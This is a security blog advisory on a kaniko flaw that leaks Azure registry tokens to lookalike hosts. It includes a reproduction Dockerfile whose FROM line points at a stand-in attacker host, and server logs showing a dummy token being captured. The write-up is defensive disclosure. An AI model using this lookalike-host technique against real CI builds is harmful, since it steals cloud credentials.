Security · Published 2026-11-21
kaniko CVE-2026-105769: Azure Registry Token Leak
kaniko before 1.25.20 sends an Azure token to lookalike hosts such as myreg.azurecr.io.attacker.test. Reproduced on v1.24.0 and 1.25.19; fixed in 1.25.20.

TL;DR
- The flaw: kaniko versions before 1.25.20 (the chainguard-forks fork, where the fix shipped) and the archived Google image send an Azure access token to any registry host that merely looks like an Azure Container Registry. GHSA-5q7h-w9jf-cx97 / CVE-2026-105769, critical, CVSS 3.1 9.3, credit Martin Zihlmann. GitHub published the advisory on 5 November 2026.
- The cause: the Azure credential helper
docker-credential-acr-envchecks "is this an ACR host?" with an unanchored regular expression, somyreg.azurecr.io.attacker.testcounts as Azure. It is tracked as GO-2026-6225, and the Go vulnerability entry lists no fixed version for the helper itself. - We reproduced it:
gcr.io/kaniko-project/executor:v1.24.0(Google image) and fork v1.25.19 sent a dummy token to the lookalike host. v1.25.20 and v1.25.24 did not. - A config tweak did not save us. The leak also happened with an empty
config.json. Per-hostcredHelpersdid not stop it on v1.25.19. - Fix: move to chainguard-forks/kaniko v1.25.20 or later (v1.25.20 was published on 27 October 2026; releases through v1.25.24 on 18 November 2026). The fork publishes no images, so you build it yourself. The Google repository is archived, and the newest tag we saw there was v1.24.0.
- Not reported as exploited in the sources we read.
Who is affected
You need all of these:
- You build images with kaniko, either the Google image (the newest tag we saw was
v1.24.0) or a fork build below 1.25.20. - The build environment holds an Azure identity: service principal variables (
AZURE_CLIENT_ID,AZURE_TENANT_ID,AZURE_CLIENT_SECRET), federated workload identity, or a managed identity reachable through IMDS. Only the service principal path was tested here, see below. - Someone who is not fully trusted can influence a registry name that kaniko contacts, for example through a
FROMline.
You do not need to use ACR yourself, and you do not need a credential helper in your config: per the advisory, kaniko asks the built-in helper for any registry that has no credentials in your Docker config and is not a Google or Amazon ECR registry, and every lookalike host falls in that set (in FROM lines and in COPY --from=<image>). Not affected by this issue: builds with no Azure identity in the environment, and kaniko at 1.25.20 or later.
What the flaw is
kaniko bundles a credential helper for Azure, docker-credential-acr-env, and the same code is linked into the executor as a built-in. When kaniko pulls a base image, it asks the helper for credentials for that registry host. The helper decides whether the host is an Azure Container Registry with a regex that is not anchored to the end of the name. A host such as myreg.azurecr.io.attacker.test matches, so the helper fetches an Azure access token and exchanges it at that host.
The scenario: whoever controls a FROM line can point a build at a lookalike host. That could be a pull request that edits a Dockerfile, a build argument that sets the base image, or a compromised shared template. The build then sends the token to a server the attacker runs.
The upstream helper issue (number 21 in its repository) has been open since 13 August 2026, and the Go vulnerability entry GO-2026-6225 was published on 18 August 2026. The kaniko fix does not wait for upstream: v1.25.20 carries a patched copy of the helper inside the kaniko module (release note: "Fix GO-2026-6225: carry a patched docker-credential-acr-env inside the kaniko module").
How we reproduced it
Everything ran on an internal Docker network with no internet route. One fake server container answered as three hosts: the Azure login endpoint (returns the string DUMMY-AAD-ACCESS-TOKEN), the registry (401 on everything under /v2/), and the ACR token exchange. The kaniko container mapped myreg.azurecr.io.attacker.test, myreg.azurecr.io and login.microsoftonline.com to that server, with a throwaway CA. The identity was dummy values:
# Dummy service principal given to every test build (not real)
AZURE_CLIENT_ID=00000000-0000-0000-0000-000000000001
AZURE_TENANT_ID=00000000-0000-0000-0000-000000000002
AZURE_CLIENT_SECRET=dummy-secret-not-realThe Dockerfile under test has one meaningful line, pointing at the lookalike host:
# Dockerfile: base image on a lookalike host
FROM myreg.azurecr.io.attacker.test/base:latest
RUN echo helloEach run was docker run of the kaniko image with --no-push and a mounted /kaniko/.docker/config.json. Every build ends in a 401 from the fake registry. That is expected. The result is the fake server's request log.
Vulnerable: Google image v1.24.0
# Real output: fake server log, v1.24.0, config {"credsStore": "acr-env"}; the two login lines are shortened to the host and path
REQ host=login.microsoftonline.com POST /<tenant>/oauth2/token?api-version=1.0 (twice)
REQ host=myreg.azurecr.io.attacker.test POST /base/oauth2/exchange | Authorization=Bearer DUMMY-AAD-ACCESS-TOKEN | body=access_token=DUMMY-AAD-ACCESS-TOKEN&grant_type=access_token&service=myreg.azurecr.io.attacker.test%2Fbase&tenant=00000000-0000-0000-0000-000000000002
REQ host=myreg.azurecr.io.attacker.test GET /v2/ | Authorization=none | body=
REQ host=myreg.azurecr.io.attacker.test GET /v2/base/manifests/latest | Authorization=none | body=The lookalike host received the access token in the Authorization header and in the POST body. The two login lines are the helper fetching the token with the dummy service principal.
Fixed: v1.25.20 and v1.25.24
# Real output: fake server log, fork v1.25.24 (v1.25.20 is identical), same Dockerfile and config
REQ host=myreg.azurecr.io.attacker.test GET /v2/ | Authorization=none | body=
REQ host=myreg.azurecr.io.attacker.test GET /v2/base/manifests/latest | Authorization=none | body=Only the anonymous requests arrive. No token request, no exchange.
The fix is host matching, not "never send tokens"
With FROM myreg.azurecr.io/base:latest (the legitimate-looking name, which our fake server answered), v1.25.20 and v1.25.24 still request a token and exchange it at that host. That is the designed behavior: a real ACR should get credentials. The fix separates real Azure hosts from lookalikes.
Which versions we ran
| Image | Lookalike host gets the token? |
|---|---|
gcr.io/kaniko-project/executor:v1.24.0 | Yes |
| chainguard-forks v1.25.19 (built from source) | Yes |
| chainguard-forks v1.25.20 (built from source) | No |
| chainguard-forks v1.25.24 (built from source) | No |
We did not build v1.25.21 to v1.25.23. The fork builds were made from the repository Dockerfile. They print Kaniko version : v0.0.0 because that build has no version flags, so the version check below was confirmed only on the Google v1.24.0 image, which prints Kaniko version : v1.24.0.
Mitigations we tested
All of these were run on dummy credentials against the fake server.
| Setup | Result |
|---|---|
Empty config.json ({}), v1.24.0 and v1.25.19 | Still leaks. The helper is also linked into the executor as a built-in, so removing credsStore is not a fix. |
Per-host credHelpers ({"credHelpers": {"myreg.azurecr.io": "acr-env"}}), v1.25.19 | Still leaks to the lookalike. The advisory says this closes only the standalone-binary path, and our run matches that. |
AZURE_ENVIRONMENT=none, empty config, v1.24.0 and v1.25.19 | No token sent. Only the anonymous requests arrived. |
AZURE_ENVIRONMENT=none, credsStore: acr-env, v1.25.19 | No token sent, but the build failed with no cloud environment matching the name "NONE". |
AZURE_ENVIRONMENT=none against the legitimate-looking ACR host | No token request, same error. It breaks real ACR authentication too. |
AZURE_ENVIRONMENT=AzurePublicCloud, v1.25.19 | Still leaks. This is not a mitigation. |
So AZURE_ENVIRONMENT=none is a stopgap for builds that must not authenticate to Azure at all. It is not usable for builds that pull from or push to ACR. We did not test other spellings of the value.
What to do
- Find where you run kaniko. These greps are plain text searches over CI configs and Dockerfiles. We did not run them against real repositories, and they work the same on any distribution:
# Find kaniko images in CI config and Dockerfiles
grep -rnE 'kaniko-project/executor|chainguard.*kaniko|kaniko' --include='*.yml' --include='*.yaml' --include='Dockerfile*' .GitLab CI usually has image: gcr.io/kaniko-project/executor:.... Tekton tasks have it in the image: of the step. Look at the tag.
- Upgrade. Use chainguard-forks/kaniko v1.25.20 or later. The Google repository was archived on 3 June 2025. We read its image tag list on 21 November 2026 and the newest tag was
v1.24.0, with no 1.25.x; we pulled v1.24.0 and reproduced the leak on it. So there is no fixed Google image. The fork publishes no binaries or images (per its advisory): build v1.25.20 or later from the fork's source, as our lab did, or use a vendor image that states it carries the fix. Otherwise apply the stopgaps above.
- Check the version in the image you run. On the Google v1.24.0 image,
executor versionprintedKaniko version : v1.24.0. On our source builds it printedv0.0.0, so confirm the tag or commit you built from (v1.25.20 or later).
- Take the Azure identity out of untrusted builds. If builds from pull requests or forks run with a service principal, a federated identity or reachable IMDS, that identity is the thing being stolen. The advisory also suggests blocking IMDS access from build pods. We did not test network policies or IMDS blocking.
- Treat tokens issued during untrusted builds as compromised. If a build that took a base image name from outside your control ran on an affected version with an Azure identity, rotate what that identity could reach and review its sign-ins. We did not test what a real attacker could do with a captured token: ours was a dummy.
- Pin the base image names. Do not let a pull request or a free-form build argument decide which registry host a build contacts. This is general hygiene, not a tested fix for this CVE.
What we have not verified
- Real Azure. No real tenant, no real registry, no workload identity, no managed identity or IMDS (
MSI_ENDPOINT). Only the service principal environment variable path ran, against a fake login endpoint. The advisory lists the other paths as exposed; we did not reproduce them. - Kubernetes, GitLab runner and Tekton runs, network policies and blocking IMDS.
- What an attacker could do with a real token. Scope and lifetime of a real ACR or Azure Resource Manager token were not examined.
- Versions v1.25.21 to v1.25.23. We built v1.25.19, v1.25.20 and v1.25.24 from source.
- Which code path served the empty-config case. The log shows the built-in exchange path (
/oauth2/exchange), but we did not read the source to confirm it. - Exploitation in the wild. The advisory material we read does not report any. We did not look for it ourselves.
Related guides
- Manage CI variables and secrets safely: keep cloud credentials out of builds that run untrusted code.
- GitHub Actions OIDC to Azure and GCP with Terraform: short-lived federated identity instead of stored secrets, and what each subject can reach.
- Understand Docker image tags, registries and non-root users: which registry host an image name resolves to, and pinning images.
- Rotate a leaked credential without an outage: the order of steps once you decide a credential may be exposed.
- wfx GitHub Actions stealer: check repos and cloud roles: another case where a CI secret was the target.
Sources
- GitHub Advisory GHSA-5q7h-w9jf-cx97 (CVE-2026-105769): https://github.com/advisories/GHSA-5q7h-w9jf-cx97
- Fork advisory: https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97
- chainguard-forks/kaniko v1.25.20 release: https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20
- Go vulnerability GO-2026-6225: https://pkg.go.dev/vuln/GO-2026-6225
More from the blog
- Apache Axis CVE-2026-90436: Find Axis Jars on Linux · Security, 2026-11-22
- Puppet CVE-2026-115731: Patch, Autosign, Port 8140 · Security, 2026-11-21
- ModSecurity CVE-2026-104269: Upload filename Bypass · Security, 2026-11-14
This article is educational information, not incident-response or legal advice. Verify package status with your operating system, hosting, or runtime vendor.